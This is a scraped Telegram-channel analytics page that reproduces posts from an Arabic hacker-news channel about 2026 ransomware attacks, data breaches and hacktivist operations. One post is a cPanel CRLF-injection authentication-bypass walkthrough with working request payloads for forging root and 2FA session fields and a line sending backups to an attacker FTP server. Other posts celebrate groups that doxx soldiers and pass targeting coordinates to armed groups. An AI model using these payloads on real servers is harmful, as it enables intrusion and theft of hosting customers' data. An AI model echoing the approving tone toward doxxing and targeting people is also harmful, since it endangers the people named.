Hacker News
前往频道在 Telegram
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
显示更多📈 Telegram 频道 Hacker News 的分析概览
频道 Hacker News (@hackernewsar) 阿拉伯语 语言赛道中的 是活跃参与者。目前社区聚集了 13 292 名订阅者,在 技术与应用 类别中位列第 9 552,并在 沙特阿拉伯 地区排名第 5 728 位。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 13 292 名订阅者。
根据 29 六月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 20,过去 24 小时变化为 2,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 16.24%。内容发布后 24 小时内通常能获得 5.35% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 2 159 次浏览,首日通常累积 711 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 18。
- 主题关注点: 内容集中在 نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
凭借高频更新(最新数据采集于 30 六月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。
13 292
订阅者
+224 小时
+17 天
+2030 天
帖子存档
13 292
تصنع شركة فوكسكون المنتجات وتجمعها لصالح شركات تقنية عالمية أخرى ، وتعد شركة آبل العميل الأكبر لها حيث تمتلك أكبر مصنع لإنتاج هواتف الآيفون في مدينة تشنغتشو بالصين، تمتلك الشركة مصانع وسلاسل إمداد في دول متعددة تشمل كذلك الهند، وفيتنام، والبرازيل، والولايات المتحدة والمكسيك، وتايوان، وأوروبا الشرقية.
#HackerNews
#Nitrogen
#Foxconn
13 292
أكدت شركة فوكسكون (Foxconn) مؤخراً تعرض منشآتها في أمريكا الشمالية لهجوم سيبراني ببرامج فدية أدى إلى توقف الإنتاج بالكامل في مجمع "ماونت بليزانت" بويسكونسن، حيث أعلنت مجموعة الهاكرز المعروفة باسم "Nitrogen" مسؤوليتها عن العملية.
استهدف الهجوم بشكل أساسي مصانع فوكسكون في ويسكونسن بالولايات المتحدة، وتم سرقة 8 تيرابايت من البيانات، تضم أكثر من 11 مليون ملف، تخص شركات تقنية كبرى مثل AMD، جوجل، إنتل ، إنفيديا ، وديل، شملت الملفات "تعليمات سرية"، ووثائق لمشاريع داخلية، ورسومات ومخططات تقنية وهندسية.
تسبب الهجوم في انقطاع شبكة تكنولوجيا المعلومات (IT) لعدة أيام في مجمع "ماونت بليزانت" بويسكونسن، مما أدى إلى توقف الإنتاج بالكامل في مطلع شهر ماي 2026، واضطر الكثير من الموظفون لاستخدام الورق والقلم.
شركة فوكسكون التايوانية والمعروفة رسمياً باسم هون هاي بريسيشن إندستري (Hon Hai Precision Industry)، هي أكبر شركة لتصنيع المكونات الإلكترونية وعقود التصنيع في العالم، تصنع الشركة حوالي 40% من جميع الأجهزة الإلكترونية الاستهلاكية المباعة على مستوى العالم.#HackerNews #Nitrogen #Foxconn
13 292
أعلنت مجموعة القرصنة العراقية "فريق 313" (Islamic Cyber Resistance in Iraq – 313 Team) مسؤوليتها عن هجمات إلكترونية منسقة طالت منصات رقمية أمريكية كبرى، شملت eBay وعملاق البث الموسيقي Spotify، مما أدى إلى تعطل واسع في خدماتها وخسائر مالية فادحة للمستثمرين والمتعاملين 🛡💥.
وأقرت Spotify و eBay بوجود "مشاكل تقنية متقطعة" وبطء في استجابة التطبيقات والمواقع، وبادرت بتحقيقات موسعة مع فرق الأمن السيبراني الخاصة بها 🔍🛠.
تسبب الهجوم في تعطيل واجهات برمجة التطبيقات (APIs) والعمليات التجارية لمنصة eBay لمدة يومين، مما تسبب في خسائر تُقدر بنحو 200 مليون دولار يومياً في المعاملات المفقودة 💸📉.
فيما أعلنت المجموعة مسؤوليتها عن إسقاط الخوادم الرئيسية لمنصة Spotify وتعطيل واجهات تسجيل الدخول بالكامل 🚫🔒.
أشارت مجموعة "فريق 313" في بيانها على منصة تليغرام إلى أن الهجمات تأتي كـ "انتقام" ورسائل سياسية موجهة ضد المصالح الأمريكية 🚩🇺🇸.#HackerNews #313Team #eBay #Spotify
13 292
استغل الهاكرز خللاً في كيفية معالجة طلبات في بيئة حسابات "Free-For-Teacher" تتعلق بنظام تذاكر الدعم الفني (Support Tickets) داخل النسخة المجانية من منصة Canvas المخصصة للمعلمين المستقلين.
أتاحت هذه الثغرة للمخترقين الحصول على دخول غير مصرح به (Unauthorized Access) إلى أجزاء من البيئة السحابية للشركة، مما مكنهم من الوصول إلى قواعد البيانات التي تحتوي على معلومات ملايين الطلاب والمعلمين، وتعديل صفحات تسجيل الدخول الخاصة ببعض مواقع الجامعات.
#HackerNews
#ShinyHunters
#Canvas
13 292
أكدت شركة Instructure المطورة لمنصة Canvas، توصلها إلى "اتفاق" مع مجموعة القراصنة ShinyHunters يقضي بدفع فدية مالية كبيرة من العملات المشفرة 🪙، بعد هجوم سيبراني واسع النطاق أدى لتعطيل آلاف المؤسسات التعليمية حول العالم 🌐.
وخضعت Instructure لشروط القراصنة في مقابل تلقيها "تأكيداً رقمياً" (سجلات إتلاف - Shred Logs) 📄 يفيد بحذف البيانات المسروقة من قبل المخترقين، مع إرجاع البيانات المسروقة إلى الشركة، وضمانات من ShinyHunters بعدم ابتزاز أي من عملاء Instructure مستقبلاً نتيجة هذا الحادث.
طال الاختراق بيانات ما يقرب من 275 مليون مستخدم (طلاب ومعلمون وموظفون) 👥 عبر 8,809 مؤسسة تعليمية وجامعة حول العالم 🏫، منها جامعات مرموقة مثل هارفارد وبرينستون.
وقع الهجوم في ماي 2026، وهو وقت الامتحانات النهائية للعديد من الكليات والجامعات 🎓، مما تسبب في فوضى عارمة وتأجيل الامتحانات في بعض المؤسسات وزاد الضغط على Instructure مما دفعها في النهاية بالخضوع لابتزاز مجموعة القرصنة. ⚠️#HackerNews #ShinyHunters #Canvas
13 292
أعلنت مجموعة القرصنة "حنظلة" (Handala) عن نجاحها في تحديد الاحداثيات الجغرافية لمواقع القوات الخاصة من وحدة "إيغوز" الصهيونية في جنوب لبنان وتسليمها مباشرة لعناصر حزب الله.
وقالت المجموعة أنها حددت هويات والمواقع الدقيقة العملياتية لـ 60 ضابطاً من وحدة "إيغوز" (وحدة الكوماندوز المتخصصة في حروب العصابات والعمليات الجبلية) داخل الأراضي اللبنانية.
وأكدت مجموعة حنظلة أنها سلمت إحداثيات هؤلاء الضباط ومواقعهم بدقة إلى حزب الله، لتكون هدفاً للطائرات المسيرة التي تعمل بالألياف الضوئية" (Fibre optic drones).
وأضافت مجموعة القرصنة أن وحدة إيغوز، التي يعني اسمها "الجوزة" بالعبرية، "لطالما كانت تتخفي وراء هذا الاسم الرنان، متظاهرةً بالحصانة. لكن اليوم، انكشفت حقيقة هذه الوحدة للجميع. ربما حان الوقت لكي تتخلى عن حرب العصابات وتتجه إلى قطف الجوز".#HackerNews #Handala
13 292
الثغرات المكتشفة:
CVE-2026-4670 (حرجة جداً): ثغرة تسمح بـ تجاوز المصادقة (Authentication Bypass) عبر واجهات منافذ الأوامر في الخلفية، مما يمكّن المهاجم "عن بُعد" من الدخول للنظام دون الحاجة لبيانات اعتماد. حصلت هذه الثغرة على تصنيف خطورة 9.8 من 10.
CVE-2026-5174 (عالية الخطورة): ثغرة تتعلق بـ رفع الامتيازات (Privilege Escalation) بسبب خلل في التحقق من المدخلات، مما يتيح للمهاجم الذي تمكن من الدخول اكتساب صلاحيات "مسؤول النظام".
#HackerNews
#MOVEit
13 292
أصدرت شركة Progress Software تحديثات أمنية عاجلة لمنصة MOVEit لأتمتة العمليات 🔒، وذلك بعد الكشف عن ثغرتين أمنيتين خطيرتين في أوائل ماي 2026 ⚠️، وأطلقت تحديثات أمنية حرجة لمعالجة الثغرتين.
تعتمد المؤسسات الكبرى التي تتعامل مع كميات ضخمة من البيانات الحساسة على هذه المنصة 🏢، ومن أبرز مستخدميها المؤسسات المالية والبنوك 🏦، الوكالات الحكومية 🏛، الجامعات 🎓، قطاع الرعاية الصحية 🏥 وشركات التكنولوجيا والخدمات اللوجستية 🚚.
تُستخدم منصة MOVEit Automation بشكل أساسي كأداة لإدارة وأتمتة نقل الملفات الحساسة (Managed File Transfer - MFT) بين الأنظمة 👥، والمستخدمين، والشركاء التجاريين بشكل آمن وموثوق.
تُشير أحدث البيانات الصادرة عن شركة Progress Software في ماي 2026 📅 إلى أن حلول MOVEit تُستخدم من قبل أكثر من 3000 مؤسسة كبرى (Enterprise) حول العالم 🌍.#HackerNews #MOVEit
13 292
أما عربيا فمس الاختراق جامعة الملك عبد الله للعلوم والتقنية (KAUST) في السعودية. جامعة خليفة وجامعة زايد في الإمارات، والجامعة الأمريكية في بيروت (AUB) والجامعة الأمريكية بالقاهرة (AUC)، وجامعة الشهيد حمة لخضر بالوادي بالجزائر التي تستخدم أنظمة مرتبطة بمنصة Canvas.
#HackerNews
#ShinyHunters
#Canvas
13 292
تعرضت 9000 جامعة ومؤسسات تعليمية كبرى حول العالم لاختراق إلكتروني واسع النطاق استهدف نظام إدارة التعلم Canvas التابع لشركة "Instructure"، شمل الاختراق بيانات نحو 275 مليون مستخدم، وتضمنت المعلومات المسربة الأسماء، وعناوين البريد الإلكتروني، وأرقام هوية الطلاب، والرسائل الخاصة المتبادلة داخل النظام.
وتوقف نظام Canvas في جامعة ميسوري الأمريكي عن العمل وظهرت رسالة من مجموعة القرصنة "ShinyHunters" على الصفحة الرئيسية للنظام، وأعلنت مجموعة القراصنة مسؤوليتها عن الهجوم، مطالبة بفدية مالية مقابل عدم تسريب البيانات.
شمل الاختراق جامعات أمريكية مرموقة مثل هارفارد، ستانفورد، معهد ماساتشوستس للتكنولوجيا وجامعة كولومبيا، بالإضافة إلى مناطق تعليمية ضخمة حيث تستخدم 41% من مؤسسات التعليم العالي في أمريكا الشمالية نظام Canvas.
في أستراليا تأثرت أكثر من 25 جامعة ومؤسسة تعليم مهني، منها جامعة سيدني، جامعة ملبورن، جامعة كوينزلاند، بالإضافة إلى مدارس حكومية في عدة ولايات أسترالية.
في هولندا تأثرت نحو 44 مؤسسة تعليمية، تشمل جامعات كبرى مثل جامعة أمستردام، وجامعة إيراسموس روتردام، وجامعة ليدن.
#HackerNews
#ShinyHunters
#Canvas
13 292
اختراق شركة Mindafim الصهيونية من طرف فريق الفلاقة 🕵️♂️💻
#HackerNews 🚨
#FallagaTeam 🇵🇸
13 292
أعلنت مجموعة "حنظلة" اليوم عن تنفيذ هجوم سيبراني استهدف البنية التحتية الدفاعية في ميناء الفجيرة الإماراتي، وأعلنت المجموعة أنها اخترقت أنظمة الحماية الرقمية الخاصة بالمنشآت النفطية لشل قدرتها الدفاعية وذلك لحظات قبل أن تشن إيران هجمات صاروخية استهدفت ميناء الفجيرة.
وذكرت مجموعة "حنظلة" أنها حصلت على آلاف الوثائق بما في ذلك تفاصيل العقود، وحركة السفن، والمعاملات المالية، وخرائط بالغة السرية لخطوط أنابيب النفط والبنية التحتية في الفجيرة، وقد تم تحويلها مباشرة لوحدات الصواريخ التابعة لمحور المقاومة.
وأضافت مجموعة الهاكرز أنها نسقت عملياتها مع الحرس الثوري، ليتم استهداف ميناء الفجيرة بضربات صاروخية دقيقة.
الهدف من هذه العمليات، حسب بيان المجموعة، هو الرد على تعاون الإمارات مع الكيان الصهيوني والولايات المتحدة، والأعمال القذرة التي تقف وراءها حكومة الإمارات.#HackerNews #Handala
13 292
يقوم المهاجم بإرسال محارف r\n\ أو ما یُعرف بـ %0D%0A (التي تعني سطر جديد) داخل طلب تسجيل الدخول. هذا يخدع النظام ويجعله يكتب أسطراً إضافية داخل ملف الجلسة المخزن على السيرفر.
مثال توضیحي لھیكل الطلب (PoC):
یرسل المهاجم طلب GET أو POST إلى مسار تسجیل الدخول، ویقوم بحقن المعاملات داخل اسم المستخدم أو حقل مخصص بالشكل التالي:
GET /login/?user=admin%0D%0Aauthenticated=1%0D%0Auser=root%0D%0A HTTP/1.1 Host: your-cpanel-server.comشرح ما یحدث خلف الكوالیس: .1 الحقن: عند استقبال السیرفر لھذا الطلب، یقوم بمعالجة حقل user . .2 التلاعب بالملف: بسبب وجود %0D%0A (أصل الثغرة)، یظن نظام إنشاء الجلسات أن ھذه الأسطر ھي "خصائص" جدیدة للجلسة. .3 تزییف الصلاحیات: بدلاً من كتابة سطر واحد یحتوي على اسم المستخدم، یكتب السیرفر في ملف الجلسة الداخلي: -user: admin 1 -2 1 :authenticated تمت المصادقة -3 user: root تغییر ھویة المستخدم إلى الجذر -4 النتیجة: عندما یعود النظام لقراءة ملف الجلسة لیرى ھل ھذا المستخدم مسموح لھ بالدخول، یجد أن قیمة authenticated ھي 1 (نعم)، فیسمح بالدخول فوراً بصلاحیات root . سیناریوھات لاستغلال الثغرة : 1. تجاوز التحقق بخطوتین: ھذا ھو السیناریو الأكثر خطورة. حتى لو كان لدى مدیر السیرفر نظام Authenticator Google أو رسائل SMS، فإن الحقن عبر CRLF یسمح للمھاجم بإضافة سطر 1=tfa_verified أو mfa_passed=true داخل ملف الجلسة. ھذا یجعل النظام "یعتقد" أن المستخدم قد أدخل رمز التحقق بنجاح، مما یسمح للمھاجم بالدخول مباشرة إلى لوحة WHM وتغییر كافة الإعدادات. مثال الطلب:
POST /login/ HTTP/1.1 User-Agent: %0D%0Aauthenticated=1%0D%0Atfa_passed=1%0D%0Auser=admin2. سیناریو "الارتقاء بالصلاحیات" : في ھذا السیناریو، قد یكون لدى المھاجم حساب "موزع" (Reseller) أو حتى حساب استضافة عادي (User). یقوم المھاجم باستخدام الثغرة أثناء عملیة تسجیل الدخول لحساب محدود الصلاحیات، ویقوم بحقن قیم ترفع رتبة جلسته إلى root. ھذا یسمح له بالانتقال من إدارة موقع واحد إلى إدارة السیرفر بالكامل والوصول إلى بیانات جمیع المواقع الأخرى المستضافة. مثال الطلب:
GET /cpsessXXXXX/json-api/cpanel?user=myuser%0D%0Aapp=whm%0D%0Apriv=root3. استھداف واجھة "WP Squared" : بما أن الثغرة تؤثر أیضاً على "WP Squared" المنتج الجدید من cPanel لإدارة وردبرس، یمكن للمھاجمین استھداف السیرفرات التي تشغل ھذه الخدمة للسیطرة على مئات مواقع وردبرس بضغطة واحدة، وزرع برمجیات خبیثة (Malware) أو طلب فدیة (Ransomware) من أصحاب المواقع. مثال الطلب:
GET /wps/api/v1/instances?search=%0D%0Arole=super_admin
4. استغلال "واجھة برمجة التطبیقات" (API Exploitation) :
لا یقتصر الاستغلال على المتصفح فقط، فالمھاجمون یبرمجون "سكربتات" (Bots) تستخدم واجھة API الخاصة بـ cPanel لإرسال طلبات HTTP المفخخة بكمیات ھائلة. ھذا السیناریو یُستخدم لعمل Mass Defacement (تغییر واجھة آلاف المواقع في وقت قیاسي) أو تحویل السیرفرات المصابة إلى جزء من شبكة "بوت نت" لشن ھجمات DDoS.
مثال الطلب:
python
headers = {'User-Agent': 'Mozilla/5.0\r\nauthenticated=1\r\nuser=root'
response = requests.get("https://target.com", headers=headers)
5. سرقة النسخ الاحتیاطیة:
بمجرد الدخول بصلاحیات Root عبر الثغرة، لا یقوم المھاجم دائماً بتخریب الموقع؛ بل یتوجھ مباشرة إلى إعدادات النسخ الاحتیاطي. یقوم بتغییر وجھة النسخ الاحتیاطي ( Amazon S3 أو FTP خارجي) إلى سیرفر یمتلكه ھو، وبذلك یحصل على نسخة كاملة من بیانات العملاء، كلمات المرور، وقواعد البیانات بشكل صامت ودون لفت الانتباه.
مثال الطلب:
POST /json-api/set_backup_config?%0D%0Adestination=ftp://attackerserver .comملاحظة: هذه الأمثلة لأغراض تعليمية ولا يتحمل الناشر أي سوء استخدام للمعلومات المنشورة. #HackerNews #cpanel #CVE_2026_41940
13 292
ظهرت مؤخرا ثغرة عالية الخطورة لـ "تجاوز نظام المصادقة" من نوع Injection CRLF في أشهر واجهة رسومية (GUI) في العالم لإدارة خوادم الويب وتسهيل استضافة المواقع وهي لوحة تحكم cPanel، تعتمد عليها أغلب شركات الاستضافة في العالم مثل Bluehost, HostGator, GoDaddy 🌐🔒
تُصنف هذه الثغرة (تحت المعرف CVE-2026-41940) كواحدة من أخطر الثغرات الأمنية لعام 2026، وحصلت على درجة خطورة قصوى 9.8/10 ⚠️. تكمن خطورتها في أنها تتيح للمهاجم تجاوز المصادقة تماماً والحصول على صلاحيات Root (المسؤول الأعلى) دون الحاجة لاسم مستخدم أو كلمة مرور 🚫🔑.
عندما يحاول أي مستخدم تسجيل الدخول، يقوم خادم cPanel (المعروف تقنياً بـ cpsrvd) بإنشاء "ملف جلسة" مؤقت على القرص الصلب لتخزين بيانات المحاولة 💾، وتم اكتشاف أن النظام لا يقوم بتنقية البيانات المدخلة في ترويسات HTTP (مثل Basic Auth) بشكل كافٍ، بسبب خلل في معالجة بيانات الجلسات وحقن بروتوكول CRLF، مما يسمح للمهاجم بالتلاعب بملفات الجلسة 🐛🕸.#HackerNews 📰 #cpanel ⚙️ #CVE_2026_41940 🔞
13 292
تعرض اليوم بروتوكول Wasabi لهجوم استغلالي متعدد السلاسل أدى لسرقة 5 ملايين دولار 💸، ونجم الهجوم بعد حصول الهاكر على "مفتاح المشرف" الخاص بمحفظة الناشر 🔑، مما منح المخترق صلاحيات ترقية العقود الذكية للبروتوكول ⚙️.
استخدم المهاجم المفتاح المخترق لمنح صلاحية المشرف لعقد خبيث 🦠، ثم أجرى ترقية غير مصرح بها لخزائن التداول (Perp Vaults) 🏦 وجمع الأصول، مما مكنه من سحب الأموال مباشرة 💰.
شملت قائمة الأصول المسروقة مجموعة متنوعة من الرموز مثل WETH وUSDC وcbBTC ورموز أخرى مثل PEPE وMOG 📉.
قام بروتوكول Wasabi بوقف جميع الأنشطة 🛑 وطلب من المستخدمين إلغاء جميع التصاريح (Revoke approvals) النشطة لعقود الخزائن المتضررة فوراً 🚨.
تأسس بروتوكول Wasabi بواسطة شركة DKODA Labs ويقع مقره الرئيسي في نيويورك 🇺🇸، وهو منصة تمويل لامركزي متخصصة في تداول المشتقات والـ Perpetuals (العقود الدائمة) على الأصول التي يصعب تداولها في المنصات التقليدية، مثل العملات الميمية والرموز غير القابلة للاستبدال (NFTs) 🦄.
#HackerNews
#Wasabi
13 292
⚠️ تعرض الاتحاد الآسيوي لكرة القدم (AFC) لخرق بيانات ضخم، وقام هاكر يحمل الاسم المستعار "f*ckiewuckie" المرتبط بمجموعة القرصنة الشهيرة "ShinyHunters" بنشر قاعدة بيانات كاملة تضمنت جوازات سفر اللاعبين والمدربين من بينهم كريستيانو رونالدو لاعب النصر السعودي. 🛡💻
تضمنت الملفات المسربة كذلك صوراً ممسوحة ضوئياً لجوازات سفر دبلوماسية لبعض المسؤولين، وجداول بيانات (Excel/CSV) تحتوي على عناوين البريد الإلكتروني، وأرقام الهواتف، وتفاصيل التسجيل في البطولات القارية، تم نشرها على منتدى التسريبات PwnForums. 📂🌐
البيانات المسربة تشمل سجلات التسجيل في بطولة "دوري أبطال آسيا للنخبة" (AFC Champions League Elite)، وبما أن نادي النصر أحد الأندية الكبرى المشاركة، فإن بيانات لاعبيه وموظفيه جزء أساسي من قاعدة بيانات الاتحاد الآسيوي. ⚽️🏆
#HackerNews 📰
#CR7 ⚽️🇵🇹
13 292
نفذت مجموعة الهاكرز حنظلة وعيدها وسربت أسماء وتفاصيل شخصية لـ 2379 من جنود مشاة البحرية الأمريكية "المارينز" المتمركزين في الخليج العربي، واصفةً الاختراق بأنه دليل على "قدراتها التجسسية". 🕵️♂️📂
أعلنت مجموعة حنظلة أنها تمتلك معلومات تفصيلية عن أفراد الخدمة العسكرية، تشمل بيانات عائلية وعناوين سكنية وتحركاتهم اليومية، وألمحت إلى إمكانية الكشف عن المزيد من المعلومات لاحقًا. 📅🏠
ارتبط اسم مجموعة حنظلة بحوادث إلكترونية حديثة، من بينها اختراق شركة سترايكر للتكنولوجيا الطبية الأمريكية، واختراق حساب البريد الإلكتروني الشخصي لمدير مكتب التحقيقات الفيدرالي كاش باتيل، وكذا تسريبات واختراقات لأهم المؤسسات الصهيونية. 🏥📧
#HackerNews 🔍
#Handala 🎭
13 292
🚨 تعرضت شركة إيترون (Itron) الأمريكية العملاقة لعملية اختراق طالَت "أنظمة تقنية المعلومات الداخلية" 🕵️♂️، وهي شركة تكنولوجيا أمريكية عالمية رائدة، متخصصة في توفير حلول ذكية لإدارة موارد الطاقة (الكهرباء والغاز) ⚡️ والمياه 💧.
📢 أفادت الشركة في إفصاحها لهيئة الأوراق المالية والبورصات الأمريكية (SEC) بأن الاختراق ركز في شبكة تكنولوجيا المعلومات (IT) الداخلية والأنظمة المؤسسية، وأكدت أنه تم الوصول إلى أجزاء من الأنظمة المكتبية والداخلية للشركة 🏢.
⚠️ وأثار هذا الاختراق قلقاً واسعاً نظراً لدور الشركة الحيوي في البنية التحتية للطاقة والمياه عالمياً، كونها شريك لآلاف شركات الطاقة والمياه، مما يضع سلاسل التوريد الخاصة بالمرافق العامة تحت المجهر 🔍.
> 💡 توفر شركة إيترون حلول ذكية لإدارة موارد الطاقة والمياه، وتقدم أجهزة قياس (عدادات ذكية) 📊 وأنظمة لتحليل الاستهلاك وتطوير البنى التحتية المتطورة للقياس (AMI) وإدارة البيانات وتقنيات لإنترنت الأشياء الصناعي (IIoT)، وتعمل مع أكثر من 7,700 شركة في أكثر من 100 دولة 🌍.
🔥 #HackerNews
🏭 #Itron
13 292
تلقى الجنود البحرية الأمريكية العاملين في القواعد الأمريكية بدول الخليج رسائل تهـديد مباشرة على هواتفهم عبر تطبيق واتساب.
الرسائل التي أرسلتها مجموعة "حنظلة" تضمنت عبارات تهديد لهؤلاء الجنود وطلبت منهم أن يرسلوا وداعهم الأخير لعائلاتهم قبل أن تنقض عليهم المسيرات الإيرانية.
وجاءت هذه الرسائل بعد ساعات من تحذير نشرته مجموعة القرصنة موجه "للبحرية الأمريكية" جاء فيه:
(بحرية الولايات المتحدة أكثر عرضة للخطر من أي منظمة أخرى.
في الساعات المقبلة، سيتم إثبات قوة حنظلة في التسلل لك. ستفهم ما المصير المؤلم الذي ينتظرك. كونوا مستعدين. نحن نعرف كيف نتعامل مع الحمقى وشركاء إبستين).
وأضافت مجموعة حنظلة أن هويات وأرقام الجنود الأمريكيين في المنطقة لم تعد مخفية، وسيتم نشرها قريباً.
هذا وتلقى كذلك آلاف المحتلين الصهاينة اليوم رسائل مشابهة على هواتفهم تضمنت تهديدات مباشرة، لتثبت مجموعة حنظلة أن أي جدار أمني يمكن تجاوزه.#HackerNews #Handala
13 292
أعلنت مجموعة القرصنة الإلكترونية "حنظلة" (Handala)، يوم السبت 25 أبريل 2026، عن تنفيذ عملية سيبرانية وصفتها بالتاريخية استهدفت وحدة "ماجلان" (الوحدة 212) التابعة لجيش الاحتلال الصهيوني، وهي وحدة نخبوية متخصصة في الاستطلاع والعمليات السرية وتتميز ضباطها بمستوى عالٍ من السرية. 🕵️♂️💻
وقالت مجموعة حنظلة أنها نجحت في اختراق بيانات 100 ضابط رفيع المستوى، ونشرت الهويات الكاملة والتفاصيل الدقيقة لـ 100 ضابط رفيع المستوى من وحدة ماجلان.
> شملت التسريبات صوراً واضحة للوجوه، الأسماء الكاملة، الأرقام العسكرية، السجلات المهنية، وتفاصيل الاتصال الخاصة بهؤلاء المجرمين كاشفة عن عملاء ماجلان السريين حيث لم يعد بامكانهم التخفي. 📸🔓🕸
#HackerNews
#Handala
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
